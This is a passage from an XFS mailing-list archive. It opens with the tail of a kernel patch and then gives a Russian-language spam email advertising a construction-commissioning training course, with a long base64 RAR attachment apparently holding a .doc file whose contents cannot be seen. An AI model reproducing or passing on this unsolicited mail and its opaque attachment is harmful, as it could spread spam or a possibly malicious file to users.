XFS_LI_IN_AIL) { + spin_lock(&lip->li_ailp->xa_lock); xfs_trans_ail_delete(lip->li_ailp, lip, SHUTDOWN_LOG_IO_ERROR); } -- 1.8.3.2 From yulkasha@deadbase.com Tue Sep 17 04:54:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.5 required=5.0 tests=HTML_MESSAGE,SUBJ_ALL_CAPS autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 204827F4E for ; Tue, 17 Sep 2013 04:54:45 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 77997AC003 for ; Tue, 17 Sep 2013 02:54:44 -0700 (PDT) X-ASG-Debug-ID: 1379411681-04cb6c153d10e1830001-NocioJ Received: from itks.pl (itks.pl [91.200.187.10]) by cuda.sgi.com with SMTP id X9jWDqTVdyAS5XQP for ; Tue, 17 Sep 2013 02:54:42 -0700 (PDT) X-Barracuda-Envelope-From: yulkasha@deadbase.com X-Barracuda-Apparent-Source-IP: 91.200.187.10 Received: from Unknown ([190.81.249.18]) by itks.pl ; Tue, 17 Sep 2013 11:53:42 +0200 Message-ID: Reply-To: =?windows-1251?B?8eXs6O3g8Psg5Ov/IOjt4uXx8u7w7uI=?= From: =?windows-1251?B?8eXs6O3g8Psg5Ov/IOjt4uXx8u7w7uI=?= To: , , , , Subject: =?windows-1251?B?Q+Xs6O3g8CDk6/8g8fLw7ujy5ev87fv1IOru?= =?windows-1251?B?7O/g7ejp?= Date: Tue, 17 Sep 2013 11:53:42 +0200 X-ASG-Orig-Subj: =?windows-1251?B?Q+Xs6O3g8CDk6/8g8fLw7ujy5ev87fv1IOru?= =?windows-1251?B?7O/g7ejp?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_1F1E_01CEB39C.8E256AD0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-Barracuda-Connect: itks.pl[91.200.187.10] X-Barracuda-Start-Time: 1379411682 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140688 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_1F1E_01CEB39C.8E256AD0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_1F1F_01CEB39C.8E256AD0" ------=_NextPart_001_1F1F_01CEB39C.8E256AD0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CF=F0=E8=E3=EB=E0=F8=E0=E5=EC =EF=F0=EE=F4=E8=EB=FC=ED=FB=F5 =F1=EF=E5=F6= =E8=E0=EB=E8=F1=F2=EE=E2 =EF=F0=EE=E9=F2=E8 =EE=E1=F3=F7=E5=ED=E8=E5 =EF=EE= =EA=F3=F0=F1=F3: =C2=C2=CE=C4 =C2 =DD=CA=D1=CF=CB=D3=C0=D2=C0=D6=C8=DE =CE=C1=DA=C5=CA=D2=C0= =CA=C0=CF. =D1=D2=D0-=C2=C0. =CF=D0=CE=C3=D0=C0=CC=CC=C0 (=EA=F0=E0=F2=EA=E0=FF) =EC=E5=F0=EE=EF=F0=E8= =FF=F2=E8=FF: - =D2=F0=E5=E1=EE=E2=E0=ED=E8=FF =D1=ED=E8=CF =E8 =E4=F0=F3=E3=E8=F5 =ED=EE= =F0=EC=E0=F2=E8=E2=EE=E2 =EF=F0=E8 =EF=F0=EE=E5=EA=F2=E8=F0=EE=E2=E0=ED=E8= =E8 =E8 =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E5. - =CE=F1=ED=EE=E2=ED=FB=E5 =EE=F8=E8=E1=EA=E8, =E2=EB=E8=FF=FE=F9=E8=E5 =ED= =E0 =F1=F0=EE=EA=E8 =E2=E2=EE=E4=E0 =EE=E1=FA=E5=EA=F2=E0 =ED=E5=E4=E2=E8= =E6=E8=EC=EE=F1=F2=E8 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE. - =CD=EE=F0=EC=E0=F2=E8=E2=ED=FB=E5 =E4=EE=EA=F3=EC=E5=ED=F2=FB, =F0=E5=E3= =EB=E0=EC=E5=ED=F2=E8=F0=F3=FE=F9=E8=E5 =EF=EE=F0=FF=E4=EE=EA =E2=E2=EE=E4= =E0 =E7=E0=EA=EE=ED=F7=E5=ED=ED=EE=E3=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2= =E2=EE=EC =EE=E1=FA=E5=EA=F2=E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE. - =C0=E4=EC=E8=ED=E8=F1=F2=F0=E0=F2=E8=E2=ED=FB=E9 =F0=E5=E3=EB=E0=EC=E5=ED= =F2: =C2=FB=E4=E0=F7=E0 =F0=E0=E7=F0=E5=F8=E5=ED=E8=E9 =ED=E0 =E2=E2=EE=E4= =EE=E1=FA=E5=EA=F2=EE=E2 =EA=E0=EF=E8=F2=E0=EB=FC=ED=EE=E3=EE =F1=F2=F0=EE= =E8=F2=E5=EB=FC=F1=F2=E2=E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE. - =D1=EE=F1=F2=E0=E2 =E8=F1=EF=EE=EB=ED=E8=F2=E5=EB=FC=ED=EE=E9 =E4=EE=EA= =F3=EC=E5=ED=F2=E0=F6=E8=E8 =EF=F0=E8 =F1=E4=E0=F7=E5 =EE=E1=FA=E5=EA=F2=E0= . - =CF=F0=EE=F6=E5=E4=F3=F0=E0 =E2=FB=E4=E0=F7=E8 =E7=E0=EA=EB=FE=F7=E5=ED= =E8=FF =EE =F1=EE=EE=F2=E2=E5=F2=F1=F2=E2=E8=E8 =EF=EE=F1=F2=F0=EE=E5=ED=ED= =EE=E3=EE =EE=E1=FA=E5=EA=F2=E0 =EF=F0=EE=E5=EA=F2=ED=EE=E9 =E4=EE=EA=F3=EC= =E5=ED=F2=E0=F6=E8=E8 =E8 =F2=F0=E5=E1=EE=E2=E0=ED=E8=FF=EC =F2=E5=F5=ED=E8= =F7=E5=F1=EA=E8=F5 =F0=E5=E3=EB=E0=EC=E5=ED=F2=EE=E2. =E8 =F2.=E4. =CE=E1=F3=F7=E5=ED=E8=E5 =E1=F3=E4=E5=F2 =EF=F0=EE=F5=EE=E4=E8=F2=FC =E2 = =EF=E5=F0=E8=EE=E4 =F1 2=C7 =EF=EE 24 =D1=C5=CD=D2=DF=C1=D0=DF 20l=E7 =E3= . =E2 =D1=CF=E1 =C7=E0 =EF=EE=E4=F0=EE=E1=ED=EE=E9 =E8=ED=F4=EE=F0=EC=E0=F6=E8=E5=E9 =EE=E1= =F0=E0=F9=E0=E9=F2=E5=F1=FC =E2 =ED=E0=F8 =EE=F0=E3=EA=EE=EC=E8=F2=E5=F2: < =EA=EE=E4_=CF=E5=F2=E5=F0=E1=F3=F0=E3=E0 > 98.6 __ 9=F7 -- = ll=20 ------=_NextPart_001_1F1F_01CEB39C.8E256AD0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable

=CF=F0=E8=E3=EB=E0=F8=E0=E5=EC =EF=F0=EE=F4=E8=EB=FC=ED=FB=F5 =F1=EF=E5= =F6=E8=E0=EB=E8=F1=F2=EE=E2 =EF=F0=EE=E9=F2=E8 =EE=E1=F3=F7=E5=ED=E8=E5 =EF= =EE =EA=F3=F0=F1=F3:
=C2=C2=CE=C4 =C2 =DD=CA=D1=CF=CB=D3=C0=D2= =C0=D6=C8=DE =CE=C1=DA=C5=CA=D2=C0 =CA=C0=CF. =D1=D2=D0-=C2=C0.

<= /div>

=CF=D0=CE=C3=D0=C0=CC=CC=C0 (=EA=F0=E0=F2=EA=E0=FF) =EC=E5=F0= =EE=EF=F0=E8=FF=F2=E8=FF:
- =D2=F0=E5=E1=EE=E2=E0=ED=E8=FF =D1= =ED=E8=CF =E8 =E4=F0=F3=E3=E8=F5 =ED=EE=F0=EC=E0=F2=E8=E2=EE=E2 =EF=F0=E8= =EF=F0=EE=E5=EA=F2=E8=F0=EE=E2=E0=ED=E8=E8 =E8 =F1=F2=F0=EE=E8=F2=E5=EB=FC= =F1=F2=E2=E5.
- =CE=F1=ED=EE=E2=ED=FB=E5 =EE=F8=E8=E1=EA=E8,= =E2=EB=E8=FF=FE=F9=E8=E5 =ED=E0 =F1=F0=EE=EA=E8 =E2=E2=EE=E4=E0 =EE=E1=FA= =E5=EA=F2=E0 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8 =E2 =FD=EA=F1=EF=EB=F3=E0= =F2=E0=F6=E8=FE.
- =CD=EE=F0=EC=E0=F2=E8=E2=ED=FB=E5 =E4=EE=EA= =F3=EC=E5=ED=F2=FB, =F0=E5=E3=EB=E0=EC=E5=ED=F2=E8=F0=F3=FE=F9=E8=E5 =EF=EE= =F0=FF=E4=EE=EA =E2=E2=EE=E4=E0 =E7=E0=EA=EE=ED=F7=E5=ED=ED=EE=E3=EE =F1=F2= =F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=EE=EC =EE=E1=FA=E5=EA=F2=E0 =E2 =FD=EA=F1=EF= =EB=F3=E0=F2=E0=F6=E8=FE.
- =C0=E4=EC=E8=ED=E8=F1=F2=F0=E0=F2= =E8=E2=ED=FB=E9 =F0=E5=E3=EB=E0=EC=E5=ED=F2: =C2=FB=E4=E0=F7=E0 =F0=E0=E7= =F0=E5=F8=E5=ED=E8=E9 =ED=E0 =E2=E2=EE=E4 =EE=E1=FA=E5=EA=F2=EE=E2 =EA=E0= =EF=E8=F2=E0=EB=FC=ED=EE=E3=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E0 =E2= =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE.
- =D1=EE=F1=F2=E0=E2 = =E8=F1=EF=EE=EB=ED=E8=F2=E5=EB=FC=ED=EE=E9 =E4=EE=EA=F3=EC=E5=ED=F2=E0=F6= =E8=E8 =EF=F0=E8 =F1=E4=E0=F7=E5 =EE=E1=FA=E5=EA=F2=E0.
- =CF= =F0=EE=F6=E5=E4=F3=F0=E0 =E2=FB=E4=E0=F7=E8 =E7=E0=EA=EB=FE=F7=E5=ED=E8=FF= =EE =F1=EE=EE=F2=E2=E5=F2=F1=F2=E2=E8=E8 =EF=EE=F1=F2=F0=EE=E5=ED=ED=EE=E3= =EE =EE=E1=FA=E5=EA=F2=E0 =EF=F0=EE=E5=EA=F2=ED=EE=E9 =E4=EE=EA=F3=EC=E5=ED= =F2=E0=F6=E8=E8 =E8 =F2=F0=E5=E1=EE=E2=E0=ED=E8=FF=EC =F2=E5=F5=ED=E8=F7=E5= =F1=EA=E8=F5 =F0=E5=E3=EB=E0=EC=E5=ED=F2=EE=E2.
=E8 =F2.=E4.=

=

=CE=E1=F3=F7=E5=ED=E8=E5 =E1=F3=E4=E5=F2 =EF=F0=EE=F5=EE=E4= =E8=F2=FC =E2 =EF=E5=F0=E8=EE=E4 =F1 2=C7 =EF=EE 24 =D1=C5=CD=D2=DF=C1=D0= =DF 20l=E7 =E3. =E2 =D1=CF=E1

=C7=E0 =EF=EE=E4=F0=EE=E1= =ED=EE=E9 =E8=ED=F4=EE=F0=EC=E0=F6=E8=E5=E9 =EE=E1=F0=E0=F9=E0=E9=F2=E5=F1= =FC =E2 =ED=E0=F8 =EE=F0=E3=EA=EE=EC=E8=F2=E5=F2:
< =EA= =EE=E4_=CF=E5=F2=E5=F0=E1=F3=F0=E3=E0 > 98.6 __ 9=F7 -- ll

= ------=_NextPart_001_1F1F_01CEB39C.8E256AD0-- ------=_NextPart_000_1F1E_01CEB39C.8E256AD0 Content-Type: application/octet-stream; name="=?windows-1251?B?X19fdmxvZ2VuaWW5MS5yYXI=?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?X19fdmxvZ2VuaWW5MS5yYXI=?=" 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 